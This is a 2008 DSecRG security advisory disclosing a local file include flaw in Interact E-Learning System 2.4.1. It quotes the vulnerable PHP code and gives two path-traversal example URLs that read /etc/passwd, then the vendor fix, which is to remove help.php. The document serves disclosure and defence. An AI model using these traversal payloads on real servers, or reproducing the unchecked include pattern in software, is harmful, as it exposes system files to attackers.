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Interact 2.4.1 local file include ]
Local File Include Vulnerability in Interact 2.4.1
Local File Include Vulnerability in Interact 2.4.1




Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-31


Application:                    Interact E-Learning System      
Versions Affected:              2.4.1
Vendor URL: http://sourceforge.net/projects/cce-interact 
Bug:                            Local File Include
Exploits:                       YES
Reported:                       03.07.2008
Vendor response:                04.07.2008
Solution:                       YES
Date of Public Advisory:        21.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Interact E-Learning System system has local file include vulnerability in script help/help.php

Vulnerable GET parameters "module", "file".

Code
****
#################################################

$module = isset($_GET['module']) ? $_GET['module']:'';
$file   = isset($_GET['file']) ? $_GET['file']:'';

...

$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'.$module.'/'.$file;
if (is_file($hpath)){
        require_once($hpath);
} else {
        require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'.$file);
}

#################################################

Example:

http://[server]/[installdir]/help/help.php?module=../../../../../../../../../../../../../etc/passwd%00 
http://[server]/[installdir]/help/help.php?file=../../../../../../../../../../../../../etc/passwd 



Solution
********

This file is no longer required by the system. Remove it from installation.

Vendor response:
 
"I have posted an alert to users to remove this from their installations asap and will get it removed from the next release of the package."



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
http://www.dsec.ru (in Russian) 




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